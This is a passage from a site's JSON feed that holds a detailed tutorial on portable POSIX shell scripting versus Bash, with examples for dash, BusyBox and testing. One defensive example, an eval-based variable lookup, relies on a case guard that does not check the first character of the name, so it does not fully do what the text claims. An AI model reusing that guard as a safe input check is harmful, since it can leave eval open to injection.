","date_published":"2026-11-06T06:12:19+00:00","tags":["Bash"]},{"id":"https://shellhacks.dev/library/posix-sh-vs-bash-portable-scripts","url":"https://shellhacks.dev/library/posix-sh-vs-bash-portable-scripts","title":"Portable Shell Scripts and POSIX sh Versus Bash in Practice","summary":"Write portable shell scripts that run on dash, BusyBox and Bash: what POSIX sh allows, which Bashisms to drop, and how to test on each shell.","content_html":"A portable shell script is one whose behavior does not depend on which program answers to the name sh. The practical way to get there is to write to the POSIX shell language, test on at least two real shells that are not Bash, and treat every Bash feature as a deliberate choice instead of a habit. The examples here ran on Debian 12 with dash 0.5.12 and Bash 5.2, and on Alpine 3.20 with BusyBox 1.36 ash. If the script only ever runs where Bash is installed, the Bash scripting tutorial is the better guide, and this one explains when to pick which.
The name sh is a contract, not a program. It promises a shell that implements the POSIX shell language, and each system fills it with whatever it prefers. Check yours before assuming anything.
ls -l /bin/sh\nreadlink -f /bin/sh\nlrwxrwxrwx 1 root root 4 Mar 1 09:12 /bin/sh -> dash\n/usr/bin/dash\nOn Debian and Ubuntu it is dash, chosen in 2006 because it starts faster and uses less memory than Bash, which matters for boot scripts. On Alpine and other BusyBox systems it is ash, a close relative of dash. On Fedora, Arch and macOS it is Bash, started in POSIX mode. On FreeBSD it is a small Almquist shell. A script developed and checked on a Fedora laptop with #!/bin/sh can use Bash features by accident and then fail the moment it lands on a Debian server. This is the single largest source of the familiar complaint that it works locally in shell scripting.
The shell language is defined in the Shell Command Language chapter of POSIX.1-2017, and the utilities scripts call (sed, awk, grep, sort, find) are specified in the same document. It covers pipelines, lists, if, for, while, until, case, functions with name() { ...; }, command and arithmetic substitution, here documents, parameter expansion with the :-, :=, :?, :+, #, ##, % and %% operators, the special parameters, redirections, trap, getopts, and a list of special builtins.
What it leaves out is the long list that Bash added: arrays, associative arrays, [[, process substitution, brace expansion, ${var//a/b} replacement, substring offsets, the local keyword (not in the standard, though nearly every shell supports it), source, pipefail and $RANDOM. The standard is the lowest common denominator, and writing to it is a discipline of knowing which of your habits sit above the line.
Pick one of three declarations and mean it. #!/bin/sh says \"POSIX only, and run me with whatever sh is here.\" #!/usr/bin/env bash says \"Bash is required.\" #!/bin/bash says the same but assumes a path that fails on NixOS, some BSDs and macOS Homebrew setups.
| Situation | Shebang | Reason |
|---|---|---|
| Installer or entrypoint that runs on unknown hosts | #!/bin/sh | Only sh is guaranteed to exist |
| Docker entrypoint on Alpine | #!/bin/sh | Bash is not in the base image |
| Dev tooling on machines you control | #!/usr/bin/env bash | Arrays and [[ are worth it |
| Anything using associative arrays | #!/usr/bin/env bash | No POSIX equivalent |
| Performance sensitive boot or init script | #!/bin/sh | dash starts several times faster |
The shebang is also a promise about the test matrix. If it says sh, the script is checked under dash and BusyBox. If it says Bash, installing Bash is a documented requirement.
The extended test [[ ]] is the most common Bashism. In dash it fails with [[: not found. The POSIX replacement is the [ command, with every variable quoted, plus case for pattern matching.
#!/bin/sh\n# Bash: [[ $name == web-* && -n $env ]]\ncase $name in\n web-*) pattern_ok=1 ;;\n *) pattern_ok=0 ;;\nesac\nif [ \"$pattern_ok\" = 1 ] && [ -n \"$env\" ]; then\n echo \"matched\"\nfi\nInside [ ], use a single = for string equality. The double == works in Bash's [ and in some other shells but is not in POSIX, and dash rejects it with unexpected operator. Replace -a and -o by chaining two tests with && and ||, since the standard marks the former obsolescent and they are ambiguous when an operand looks like an operator. Regex matching with =~ has no POSIX form; call grep -E or expr instead.
if printf '%s\\n' \"$version\" | grep -Eq '^[0-9]+\\.[0-9]+\\.[0-9]+$'; then\n echo \"semver\"\nfi\nPOSIX sh has exactly one array: the positional parameters $1, $2 and so on. Everything else must be encoded. For a list of simple tokens that contain no whitespace, a string split by the shell works. For a list that may contain spaces, use positional parameters through set --, which rewrites \"$@\" inside the current function or script.
#!/bin/sh\nset -- \"web 01\" \"web02\" \"db01\"\nfor host do\n printf '[%s]\\n' \"$host\"\ndone\necho \"$# hosts\"\nset -- \"$@\" \"cache01\"\necho \"$# hosts\"\n[web 01]\n[web02]\n[db01]\n3 hosts\n4 hosts\nA for loop with no in list iterates over \"$@\", which is both portable and quoting-safe. The cost is that there is one such list per scope. A function that needs its own list while the script holds another one must save and restore, or restructure the work to pass items through standard input one per line. For a lookup table, a case statement inside a function replaces an associative array cleanly.
port_for() {\n case $1 in\n http) echo 80 ;;\n https) echo 443 ;;\n ssh) echo 22 ;;\n *) return 1 ;;\n esac\n}\nport_for https\nThe forms <(cmd) and <<< \"text\" are Bash, Zsh and Ksh only. The portable substitute for a here string is a here document or a pipe, and for process substitution it is a temporary file or a named pipe. The loop that needs to modify variables is the only place this really hurts, because a pipe into while runs the loop in a subshell.
#!/bin/sh\ntmp=$(mktemp) || exit 1\ntrap 'rm -f \"$tmp\"' EXIT\ngrep -v '^#' hosts.txt > \"$tmp\"\ncount=0\nwhile IFS= read -r line; do\n count=$((count + 1))\ndone < \"$tmp\"\necho \"$count hosts\"\nWriting to a file and redirecting from it keeps the loop in the main shell. An alternative with no temporary file is a here document that wraps command substitution, done <<EOF followed by $(command), though the whole output is held in memory and trailing newlines are trimmed. For comparing two sorted streams, diff against two temporary files is the plain version of diff <(a) <(b).
POSIX parameter expansion gives you removal of prefixes and suffixes, defaults, and length, and nothing more. The substitution forms ${s/old/new} and ${s//old/new}, substring ${s:2:3}, case conversion ${s^^} and indirect ${!name} are all Bash extensions.
| Need | Bash | POSIX sh |
|---|---|---|
| Replace all | ${s//a/b} | printf '%s' \"$s\" | sed 's/a/b/g' |
| Substring | ${s:2:3} | printf '%s' \"$s\" | cut -c3-5 |
| Upper case | ${s^^} | printf '%s' \"$s\" | tr '[:lower:]' '[:upper:]' |
| Starts with | [[ $s == pre* ]] | case $s in pre*) ... ;; esac |
| Strip extension | ${f%.*} | Same, and portable |
| Basename | ${f##*/} | Same, and portable |
The cost of the portable forms is a subprocess per call, so inside a tight loop over thousands of items they are noticeably slower. When that matters, move the heavy lifting into one sed or awk invocation that handles the whole input, rather than a fork per line. The shape of those tools is described in the grep, sed and awk guide.
This one produces silent bugs, not errors. In POSIX sh, echo with a backslash sequence is implementation-defined. Dash interprets \\n in echo by default, Bash does not unless asked, and -e and -n are not guaranteed to be treated as options.
sh -c 'echo \"a\\tb\"'\nbash -c 'echo \"a\\tb\"'\nsh -c 'echo -e \"x\"'\na b\na\\tb\n-e x\nThe three results differ for the same text. The fix is mechanical: use printf, which the standard defines precisely. Always give printf a format string and pass data as arguments, so that a percent sign or backslash in the data is not interpreted.
printf '%s\\n' \"$message\"\nprintf 'name=%s\\tport=%s\\n' \"$name\" \"$port\"\nprintf %s \"no trailing newline\"\nThe pattern printf \"$message\" with data in the format is a bug and a small injection risk. See the shell script security guide for why format strings and option-like data need the same care as quoting.
Three keywords sit in a gray area. The function keyword, as in function check { ...; }, is Bash and Ksh; POSIX only defines check() { ...; }. The word source is Bash and Zsh; POSIX defines the dot command, . ./lib.sh, and that is the portable spelling. The local keyword is not in POSIX.1-2017 but is implemented by dash, BusyBox ash, Bash, Ksh93 and Zsh, so it is safe in practice if you restrict yourself to local name or local name=value with a single simple variable.
#!/bin/sh\n. \"$(dirname \"$0\")/lib.sh\"\n\ngreet() {\n local who=\"$1\"\n printf 'hello %s\\n' \"$who\"\n}\ngreet world\nThe restriction matters because the shells differ at the edges. In dash, local x=$(cmd) works, but in Bash it hides the exit status of cmd; declare and assign on separate lines when the status matters. Do not combine local with arrays, -r or -i, none of which are portable. If you need strictly standard behavior, avoid local and prefix variable names with the function name.
set -o pipefail is the setting people miss most. It was added to the POSIX standard text only in later revisions of Issue 8 and is not available in dash 0.5.12, which exits with Illegal option -o pipefail. BusyBox ash accepts it; BusyBox 1.35 on Debian 12 printed ok for set -o pipefail, but check older images before relying on it. The ERR trap, BASH_SOURCE, FUNCNAME, LINENO in all contexts, $RANDOM, $SECONDS, PIPESTATUS and $OSTYPE are also Bash or Ksh extras.
#!/bin/sh\nset -eu\n# pipefail is not portable; guard it\nif (set -o pipefail) 2>/dev/null; then\n set -o pipefail\nfi\nThe subshell test attempts the option and discards the error, so the same script runs on dash, which skips it, and on Bash or BusyBox, which enable it. Where a pipeline failure matters and pipefail is missing, break the pipeline into steps that write to a temporary file and check each one's status. The settings -e and -u are in POSIX and behave the same across shells apart from the corner cases in the next section.
The rules for when set -e exits are written down in POSIX, but implementations disagree in the odd places, which makes the setting a poor foundation for portability. A well-known example is a function used as a condition, where the errexit rule is suspended for everything the function does.
#!/bin/sh\nset -e\ncheck() {\n false\n echo \"still running inside the condition\"\n}\nif check; then echo \"check passed\"; fi\nstill running inside the condition\ncheck passed\nBoth dash and Bash print the same here, which surprises readers who expected the false to abort the function. A difference appears in compound commands: an assignment from a failing command substitution exits on some shells and not on others in specific forms, and local x=$(false) never exits because local succeeds. The reliable approach is to check the commands that matter with || exit or || return, and use set -e as a backstop.
POSIX supports $(( ... )) with integer operators, comparison, ternary and the usual assignment forms in the expression, and nothing else. There is no (( )) command, no let, no ++ or -- as required operators, no ** exponent and no floating point. Dash does not implement the ** exponent that Bash does, and fails with arithmetic expression: expecting primary, so a script that squares with ** works on one and breaks on the other.
#!/bin/sh\ni=0\nwhile [ \"$i\" -lt 3 ]; do\n i=$((i + 1))\n printf 'pass %s\\n' \"$i\"\ndone\nsquare=$((i * i))\necho \"$square\"\nUse [ \"$a\" -lt \"$b\" ] or [ $((a < b)) -eq 1 ] for comparisons, and hand decimals to awk, which is in POSIX. For integers beyond 64 bits, no shell helps, and bc or dc is the portable choice. Hexadecimal and octal constants work in $(( )) in all POSIX shells, so $((0x1f)) is fine.
Functions in POSIX sh return a status with return n and output data on standard output. There are no name references, so a function cannot assign to a caller's variable by name without eval. The usual substitutes are to print the result and capture it with command substitution, or to set a well-named global variable and document it.
#!/bin/sh\nparse_host() { printf '%s\\n' \"${1%%:*}\"; }\nparse_port() { printf '%s\\n' \"${1##*:}\"; }\n\ntarget=\"db01.internal:5432\"\nhost=$(parse_host \"$target\")\nport=$(parse_port \"$target\")\necho \"$host $port\"\nRemember that command substitution creates a subshell, which costs a fork each time. In a loop over many items, it is faster to set a global in the function and read it afterward. Choose by measuring; a fork is on the order of a millisecond on a laptop and the difference rarely matters below a few thousand calls.
\n\nThe POSIX read has only -r. It does not have -p for a prompt, -s for silent, -t for a timeout, -a for an array or -n to read a number of characters. Print the prompt with printf and use stty around read to hide a typed secret.
#!/bin/sh\nprintf 'Token: ' >&2\nstty -echo 2>/dev/null\ntrap 'stty echo 2>/dev/null' EXIT\nIFS= read -r token\nstty echo 2>/dev/null\nprintf '\\n' >&2\nThe trap restores the terminal if the user hits Ctrl-C mid-entry, which is the classic way to leave a shell with echo switched off. A timeout has no clean portable form; use the timeout utility from GNU coreutils or BusyBox, which exists on nearly every system but is not in POSIX.1-2017.
The shell is only half of portability. The commands a script calls vary between GNU, BSD and BusyBox, and these differences cause more real failures than syntax. GNU sed -i edits in place with no suffix; BSD and macOS sed -i require a suffix argument, so sed -i 's/a/b/' f fails on macOS. GNU date -d parses dates; BSD uses -j -f or -v. GNU readlink -f resolves paths; macOS before 12.3 had no -f. BusyBox grep may lack -P, -o or --include, and BusyBox find lacks -printf in minimal builds.
| Task | GNU-only form | Portable form |
|---|---|---|
| In-place edit | sed -i 's/a/b/' f | Write to a temp file, then mv it back |
| Absolute path | readlink -f x | cd -- \"$(dirname -- x)\" && pwd |
| File size | stat -c %s f | wc -c < f |
| Extended regex | sed -r | sed -E (POSIX since 2024) |
| Null-separated find | find -print0 | xargs -0 | find ... -exec cmd {} + |
| Case-insensitive grep | grep -i | Same, and portable |
The habit that pays off is to read the POSIX page for any utility option you are unsure of, since an option absent from the page is a flag to test elsewhere. The POSIX utilities index lists them all.
\n\nmktemp is not in POSIX.1-2017 but exists on Linux, every BSD, macOS and BusyBox, so it is safe in practice. Its options differ: GNU accepts mktemp -d and a template with trailing Xs, BSD accepts both as well, and BusyBox requires the Xs to be at the end. Use mktemp -d \"${TMPDIR:-/tmp}/name.XXXXXX\" with the template at the end and the trap pattern from earlier.
#!/bin/sh\ntmpdir=$(mktemp -d \"${TMPDIR:-/tmp}/job.XXXXXX\") || exit 1\ncleanup() { rm -rf \"$tmpdir\"; }\ntrap cleanup EXIT\ntrap 'exit 1' HUP INT TERM\nPOSIX trap accepts signal names without the SIG prefix and the EXIT pseudo-signal, and the handlers above work on all the shells in this guide. The ERR, DEBUG and RETURN traps do not exist in POSIX.
Running a script under Bash tells you almost nothing about portability. Install the target shells and run the same script through each. In a container this is a one-liner, and a small loop turns it into a matrix.
\nfor shell in dash \"busybox sh\" bash \"bash --posix\" ksh; do\n printf '%-14s ' \"$shell\"\n if $shell ./script.sh >/dev/null 2>&1; then echo ok; else echo FAIL; fi\ndone\ndash ok\nbusybox sh ok\nbash ok\nbash --posix ok\nksh FAIL\nOn Debian, apt install dash busybox ksh provides all four. A Docker version runs docker run --rm -v \"$PWD\":/w -w /w alpine sh ./script.sh for BusyBox and docker run --rm -v \"$PWD\":/w -w /w debian:12 sh ./script.sh for dash. Keep bash --posix out of your confidence: it still accepts [[ and arrays, so a pass there proves nothing about dash.
Two linters read scripts without running them. ShellCheck, given the shell with -s sh or inferred from the shebang, flags Bash-only syntax in a #!/bin/sh script, for example SC3010 for [[ ]], SC3054 for array references and SC3043 for local. The Debian checkbashisms script from the devscripts package is a narrower tool made for the same job and finds things ShellCheck sometimes misses, such as echo -e and $RANDOM.
shellcheck -s sh deploy.sh\ncheckbashisms deploy.sh\nIn deploy.sh line 12:\nif [[ -f \"$cfg\" ]]; then\n ^-- SC3010 (warning): In POSIX sh, [[ ]] is undefined.\nThe ShellCheck wiki has a page per code, with the failing example and the correction, which is the fastest way to learn a replacement. Put both linters in CI, the same way the testing guide sets up checks for scripts.
\n\nThis installer downloads a file, verifies a checksum, and places it, using only POSIX features. It handles missing tools, picks whichever of curl and wget exists, and cleans up.
#!/bin/sh\nset -eu\n\ndie() { printf 'error: %s\\n' \"$*\" >&2; exit 1; }\nhave() { command -v \"$1\" >/dev/null 2>&1; }\n\nurl=\"${1:?usage: install.sh URL SHA256 [DEST]}\"\nwant=\"${2:?usage: install.sh URL SHA256 [DEST]}\"\ndest=\"${3:-/usr/local/bin/tool}\"\n\ntmp=$(mktemp -d \"${TMPDIR:-/tmp}/install.XXXXXX\") || die \"no temp dir\"\ntrap 'rm -rf \"$tmp\"' EXIT\ntrap 'exit 1' HUP INT TERM\n\nif have curl; then\n curl -fsSL -o \"$tmp/file\" \"$url\" || die \"download failed\"\nelif have wget; then\n wget -q -O \"$tmp/file\" \"$url\" || die \"download failed\"\nelse\n die \"need curl or wget\"\nfi\n\nif have sha256sum; then\n got=$(sha256sum \"$tmp/file\" | cut -d' ' -f1)\nelif have shasum; then\n got=$(shasum -a 256 \"$tmp/file\" | cut -d' ' -f1)\nelse\n die \"need sha256sum or shasum\"\nfi\n[ \"$got\" = \"$want\" ] || die \"checksum mismatch: $got\"\n\ninstall -m 0755 \"$tmp/file\" \"$dest\"\nprintf 'installed %s\\n' \"$dest\"\n$ sh install.sh https://example.org/tool.bin 9f86d081... /tmp/tool\ninstalled /tmp/tool\nEvery construct appears in the POSIX specification: command -v for existence checks, parameter expansion operators, case-free branching on elif, and install, which is not strictly POSIX but is present everywhere this script is likely to run. The one deliberate non-POSIX call is mktemp, discussed above. The checksum comparison uses a single =, and every expansion is quoted.
[[ in a #!/bin/sh script. Fails on dash with not found. Use [ ] and case.== inside [ ]. Fails with unexpected operator. Use =.echo -e and echo -n. Prints the flag literally on some shells. Use printf.Syntax error: \"(\" unexpected. Use set -- or a case.source file. Fails with source: not found. Use . file.function f {. Syntax error on dash. Use f() {.$'...' strings. Printed literally. Use printf to build the characters.&> redirection. Parsed as run-in-background then redirect. Use > file 2>&1.$RANDOM. Empty in dash. Use awk 'BEGIN{srand(); print int(rand()*32768)}' or read from /dev/urandom.sed -i, readlink -f, date -d. Behave differently or fail outside GNU. See the utility table above.The &> case is the nastiest because it does not error: dash parses it as cmd & followed by > file, so the command runs in the background and its output goes to the terminal while an empty file is created.
Debian switched /bin/sh to dash for boot speed. The difference is easy to measure with a loop of builtins, and the number depends on hardware, so measure on yours. In a Debian 12 container on an aarch64 machine with ten cores, 200,000 iterations of an arithmetic loop took 0.25 seconds in dash, 0.30 seconds in BusyBox ash and 0.60 seconds in Bash 5.2. Starting a shell 300 times to run a no-op took 0.12 seconds with dash, 0.13 with BusyBox and 0.18 with Bash, so a script that launches a shell thousands of times sees the saving directly.
time dash -c 'i=0; while [ $i -lt 200000 ]; do i=$((i+1)); done'\ntime bash -c 'i=0; while [ $i -lt 200000 ]; do i=$((i+1)); done'\nThose figures come from one run of each on one machine, with the shell's own time keyword, and are only a guide. The conclusion that holds is that dash is about twice as fast as Bash for builtin-heavy loops and that neither shell is fast at string-heavy work compared to awk. Choose portability for portability, and choose speed by measuring the real script, as the debugging guide shows with strace -c and time.
Sometimes you inherit a script that starts with #!/bin/sh, works on a Fedora host, and breaks in production. Resist the fix of changing the shebang to Bash without understanding why, unless Bash is truly available. A quick diagnosis is to run it with dash, read the first error, and replace that one construct. Repeat until it passes. The sequence is slow once and fast thereafter, because the same dozen constructs cause most failures.
The reverse case, a Bash script run as sh script.sh by someone who typed the wrong command, is also common. A defensive header makes the failure explicit.
#!/bin/bash\n[ -n \"${BASH_VERSION:-}\" ] || { echo \"run this with bash\" >&2; exit 1; }\nThat check uses only POSIX syntax before any Bash feature appears, so dash can parse it and report a clear message instead of a syntax error from line 40.
\n\nMost portability work today happens because of images. Alpine has BusyBox ash and no Bash. Distroless images have no shell at all, which means an entrypoint script cannot exist there. Debian slim images have dash as sh and Bash installed. If your entrypoint must run in all of them, write it in POSIX sh, put exec \"$@\" at the end so signals reach the real process, and test it in each base image. The guide to shell scripting inside Docker covers the entrypoint pattern in depth; the short version is that a POSIX entrypoint with exec is the most portable choice there is.
#!/bin/sh\nset -eu\n: \"${APP_ENV:=production}\"\nif [ \"${1:-}\" = \"migrate\" ]; then\n /app/bin/migrate\n shift\nfi\nexec \"$@\"\nThe leading colon is a no-op command whose arguments are expanded, which makes : \"${VAR:=default}\" the portable way to give a variable a default without running a command.
Knowing the family tree explains why a feature exists in one and not another. The Bourne shell, from 1979, defined the basic syntax. The Korn shell, ksh88 and later ksh93, added arrays, [[, $(( )) and $( ), and much of what POSIX standardized came from it. Bash, from the GNU project in 1989, absorbed Korn features and added its own. The Almquist shell, made for BSD in 1989, was ported to Debian as dash and forms the base of BusyBox ash. Zsh is a separate lineage that is mostly Bourne compatible but differs in word splitting and array indexing.
| Shell | Typical home | Arrays | [[ | local | pipefail |
|---|---|---|---|---|---|
| dash 0.5.12 | Debian, Ubuntu /bin/sh | No | No | Yes | No |
| BusyBox ash 1.35 | Alpine, embedded | No | Optional at build time | Yes | Yes |
| Bash 5.2 | Most Linux distributions | Yes | Yes | Yes | Yes |
| ksh93 | AIX, Solaris, some Linux | Yes | Yes | Yes, as typeset | Yes |
| zsh 5.9 | macOS default login shell | Yes, 1-based | Yes | Yes | Yes |
The table is why \"test on dash and BusyBox\" is the working rule: together they lack nearly everything that makes a script non-portable, so a script that passes on both will almost always pass elsewhere. Zsh is the odd one. A script run by zsh on macOS because it was started from an interactive prompt still uses its shebang's shell, so the zsh default matters only for what you type interactively, not for scripts.
\n\nOne area where POSIX shells agree is the one that matters most. An unquoted expansion is split on IFS and then globbed in dash, BusyBox and Bash alike. That sameness is useful: the quoting discipline from the Bash scripting tutorial carries over unchanged. What differs is Zsh, which does not split unquoted variables by default, and Bash's nullglob, failglob and extglob options, none of which exist in POSIX.
That last difference changes how you handle a glob that may match nothing. In POSIX sh the unmatched pattern is left as written, so you test that the first match exists before looping.
\n#!/bin/sh\nfor f in /var/log/*.log; do\n [ -e \"$f\" ] || continue\n printf '%s\\n' \"$f\"\ndone\nThe [ -e \"$f\" ] || continue line handles the unmatched case, where $f is the literal string /var/log/*.log that names no file. It costs nothing when files exist and prevents a loop body from running against a name that is not a file. The same guard protects rm, cp and chmod from acting on a literal asterisk.
A portable script checks for a tool with command -v. POSIX defines it, every shell implements it, and it finds builtins, functions, aliases and programs on PATH. which is an external program with inconsistent behavior: on some systems it prints nothing and exits 0, on others it prints a sentence to standard output when the name is missing, and on Debian it is a shell script that only searches PATH. type is acceptable but its output is not standardized. hash exists but its exit status for a missing name varies.
if command -v jq >/dev/null 2>&1; then\n echo \"jq found at $(command -v jq)\"\nelse\n echo \"jq is required\" >&2\n exit 127\nfi\nThe redirections discard both the path that command -v prints and any complaint on error. Exiting with 127 mirrors the shell's own code for command not found, which makes the failure recognizable to anyone reading logs. List all required tools near the top in a loop, so a missing dependency fails immediately and not after half the work is done.
POSIX specifies redirection for descriptors 0 through 9: >&3 duplicates, 3>file opens, 3<&- closes. That is enough for the techniques that matter, such as sending diagnostics to a log while keeping standard output clean. Bash adds &>, &>>, |& and {fd}> for allocating a free descriptor automatically. None of those work in dash.
#!/bin/sh\nexec 3>&1\nexec 1>>/var/log/job.log 2>&1\necho \"this line goes to the log\"\necho \"this line goes to the terminal\" >&3\nexec 3>&-\nUsing exec with only redirections changes the redirections of the shell itself for the rest of the script. Save the original standard output on descriptor 3 first, as above, if some output still needs to reach the caller. The portable spelling of \"both streams to a file\" is always > file 2>&1, in that order.
The POSIX trap accepts signal names without the SIG prefix, numbers for the standard few (1 HUP, 2 INT, 3 QUIT, 6 ABRT, 9 KILL, 14 ALRM, 15 TERM), and the pseudo-signal EXIT. Using names such as INT and TERM is fine on all the shells here, and using numbers outside that list is not portable. There is no ERR, DEBUG or RETURN trap in dash.
#!/bin/sh\ncleanup() {\n status=$?\n rm -f \"${lock:-}\"\n exit \"$status\"\n}\nlock=/tmp/job.$$.lock\n: > \"$lock\"\ntrap cleanup EXIT\ntrap 'exit 130' INT\ntrap 'exit 143' TERM\nsleep 5\nCapture $? as the first line of the handler. By the time later lines run, it holds the status of whatever ran in between. Calling exit \"$status\" at the end preserves the original code, which matters when the script's caller inspects it. The numbers 130 and 143 are the 128 plus signal convention, which lets a parent tell a deliberate stop from a failure.
getopts is POSIX and behaves the same on every shell here, which makes it the right default for short options. The details to remember: a leading colon in the option string enables silent mode, OPTARG carries the value or the offending letter, and OPTIND must be reset to 1 if you call getopts again in the same shell, for example in a function. Long options such as --help are not supported, and the external getopt that does support them differs between GNU, BSD and BusyBox, so for portable scripts handle long options by hand.
#!/bin/sh\nwhile [ $# -gt 0 ]; do\n case $1 in\n -h|--help) echo \"usage: tool [--out FILE] [-v] ARG...\"; exit 0 ;;\n -v|--verbose) verbose=1 ;;\n -o|--out) [ $# -ge 2 ] || { echo \"--out needs a value\" >&2; exit 2; }\n out=$2; shift ;;\n --out=*) out=${1#--out=} ;;\n --) shift; break ;;\n -*) echo \"unknown option: $1\" >&2; exit 2 ;;\n *) break ;;\n esac\n shift\ndone\necho \"verbose=${verbose:-0} out=${out:-none} rest=$#\"\n$ ./tool --out=/tmp/x -v a b\nverbose=1 out=/tmp/x rest=2\nThis hand-rolled loop uses only case, shift and parameter expansion, so it runs everywhere. The -- branch is important: it ends option parsing so that a file named -rf passed after it is treated as an argument. The shell script security guide returns to that point in the context of option smuggling.
Without arrays or name references, scripts reach for eval to build variable names, as in eval \"val=\\$$name\". It works in every shell and it is an injection hole whenever any part of the string comes from outside. The portable alternatives are a case over the known names, or set -- to carry a list. Where indirection is truly needed over a fixed vocabulary, validate the name first.
get() {\n case $1 in\n [a-z_]*[!a-z_0-9]*|\"\") return 1 ;;\n esac\n eval \"printf '%s\\n' \\\"\\${$1:-}\\\"\"\n}\nregion=eu-west-1\nget region\nThe guard rejects any name that contains a character outside lowercase letters, digits and underscore, so the eval only ever sees a plain identifier. Even so, this is a last resort. A script that needs it constantly has outgrown POSIX sh and should declare Bash and use declare -n or associative arrays instead.
A script saved with Windows CRLF line endings fails in ways that look unrelated to the file. The kernel reads the shebang as #!/bin/sh\\r and reports bad interpreter: No such file or directory, and when a script is run explicitly each command carries a stray carriage return, so echo hi prints hi followed by \\r. Configure the editor and version control to keep scripts as LF; with Git, a .gitattributes line of *.sh text eol=lf enforces it. Check a suspect file with file script.sh, which says with CRLF line terminators, or od -c.
Text encoding matters less for the shell and more for the tools. Run text-processing in the C locale with LC_ALL=C when you want byte-wise behavior and the speed that comes with it. Sorting, character classes and case conversion all change with the locale, so a portable script sets it deliberately at the top for those steps and leaves it alone elsewhere.
A portable script does not assume where it was started. Use cd -- \"$(dirname -- \"$0\")\" to anchor relative paths to the script, and remember that $0 is the path used to invoke it, which may be relative or a symlink. Two small traps lurk here. If CDPATH is set in the caller's environment, cd may print the new directory and change to an unexpected place; unset it in scripts. And cd followed by pwd returns the logical path, which may include symlinks, while pwd -P returns the physical one.
#!/bin/sh\nunset CDPATH\nhere=$(cd -- \"$(dirname -- \"$0\")\" && pwd -P) || exit 1\ncd \"$here\" || exit 1\nOn Debian 12 with CDPATH=/usr set, cd bin printed /usr/bin and changed there even from an unrelated directory, which is why scripts unset it at the top.
POSIX says an exit status of 0 is success, and 1 to 125 are free for the program, 126 means not executable, 127 means not found, and anything from 128 up usually means a signal. Tools differ in what they use the small numbers for, and a portable script should not assume a particular meaning beyond zero and non-zero unless it reads the tool's page. grep and diff both use 1 for a normal outcome (no match; files differ) and 2 for trouble, so set -e treats a perfectly good \"no match\" as fatal unless you guard it. test uses 1 for false and 2 for a usage error.
#!/bin/sh\nset -e\nif grep -q ERROR app.log; then\n echo \"errors found\"\nfi\ncount=$(grep -c ERROR app.log || true)\necho \"$count\"\nWrapping the command in an if or adding || true declares that status 1 is expected. When 2 matters too, test it explicitly: grep -q pat file; rc=$? then [ \"$rc\" -eq 2 ] && die \"grep failed\".
When a script must move from Bash to sh, do it as a sequence of small checked changes and not a rewrite. First change the shebang to #!/bin/sh and run shellcheck -s sh. The report is a to-do list ordered by line number. Second, fix the mechanical items that need no redesign: [[ to [ with quotes, == to =, source to a dot, function f { to f() {, echo -e to printf. Third, handle the structural items one at a time: arrays become positional parameters or line-oriented files, process substitution becomes a temporary file, string substitution becomes sed or case. Fourth, run the script under dash and busybox sh and compare its output with the Bash version on the same inputs.
bash old.sh sample.txt > expected.out\ndash new.sh sample.txt > actual.out\nbusybox sh new.sh sample.txt > actual-busybox.out\ncmp expected.out actual.out && cmp expected.out actual-busybox.out && echo identical\nThe comparison is the safety net. If you have no tests, the output of the old script on a handful of real inputs is the best specification you have, and capturing it before the first edit takes a minute. Section by section, the cost shows up in the code size: a Bash function that used an associative array and a string replacement is often forty lines in POSIX sh, and the extra length is the price of the portability.
\n\nRun through these questions before writing the first line, and the shebang decides itself. Which hosts will run it, and do they all have Bash? If you cannot list them, assume they do not. Will it run as an entrypoint in a container you do not control? Then POSIX. Will it be sourced into a user's interactive shell, like a profile fragment? Then it must follow that shell's rules, not the shebang's. Does it need arrays, maps or regular expressions in conditions? Then it wants Bash, and a note in the README. Is startup time important, as in a hook that runs on every command? Then dash and builtins, with as few subprocesses as the task allows. Does it have to be understandable by a colleague in a year? Then pick the dialect that reads best for the work, document the choice, and test on what you claim.
\nAnswering these once, in a comment at the top of the file, turns portability from a vague aspiration into a requirement that a reviewer can check. A header such as \"POSIX sh, checked under dash and BusyBox\" or \"Bash 4.4 or newer, uses associative arrays\" is more useful to the next maintainer than any amount of explanation inside the script.
\n\nA script that passed on dash last month can fail today because someone added a Bashism in a quick fix. The only dependable guard is automation. Add a CI job that runs ShellCheck with the shell set to sh, runs checkbashisms, and executes the script's own test suite under dash and BusyBox in containers. Fail the build on any of them. Reviewers then discuss design, and the pipeline holds the line on syntax. When a legitimate exception is needed, such as one use of local with a known safe form, record it as a ShellCheck disable directive with a reason next to the line, so the exception is visible and can be removed later.
Portability has a price, paid in readability and in the number of subprocesses, and the decision should be explicit. If your machines are known and all have Bash 4 or newer, use it. If the script is for developers on laptops, use Bash. If the script manipulates lists, strings and maps, use Bash. If the script is more than a few hundred lines of logic, consider a real language. A script that declares #!/usr/bin/env bash and documents the requirement is portable in the sense that matters: it either runs or says plainly why it cannot. The failure to avoid is the in-between case, where a script claims to be sh and quietly depends on Bash.
Windows. Git Bash and WSL provide Bash, but PowerShell and cmd do not run any of this. A portable shell script is portable across Unix-like systems, not across all operating systems.
\nInteractive setup. Aliases, prompt configuration and completion belong in a file that only your own shell reads, such as ~/.bashrc, and need no portability at all.
Scripts that call platform-specific tools. A script that wraps apt, systemctl or launchctl is tied to a platform no matter what shell runs it. Portable syntax around non-portable commands is not portable.
Embedded devices with a restricted shell. Some routers ship BusyBox with applets compiled out. Check busybox --list on the actual device before trusting a general rule.
If portability was the goal, the next steps are the tools that find bugs: testing with Bats and ShellCheck for automated checks, and debugging shell scripts for the moment a script behaves differently on a host you cannot easily reach. For the command-line tools themselves, the Linux command line guide lists what each of them does across systems.
\nPrimary sources used here: the POSIX Shell Command Language, the POSIX sh utility page, the POSIX printf page, the Bash POSIX mode documentation, the dash manual source, the BusyBox documentation, the Debian Policy on scripts and the ShellCheck SC3010 page.
","date_published":"2026-11-06T06:12:19+00:00","tags":["Shell Scripting"]},{"id":"https://shellhacks.dev/library/linux-command-line-guide","url":"https://shellhacks.dev/library/linux-command-line-guide","title":"The Linux Command Line Every Developer Needs to Know","summary":"A working Linux command line guide for developers: files, permissions, processes, text tools, find, archives, disks, networking and the habits that save time.","content_html":"The Linux command line is a language for combining small programs, and learning it means learning the grammar before the vocabulary. Once you know how a command line is parsed, how files and permissions work, and how processes and streams connect, the individual commands are quick to pick up from their manual pages. The examples here ran on Debian 12 (bookworm) with GNU coreutils 9.1, Bash 5.2 and util-linux 2.38, in a clean container, and each section says where other systems differ. Writing these commands into files that run unattended is the subject of the Bash scripting tutorial.
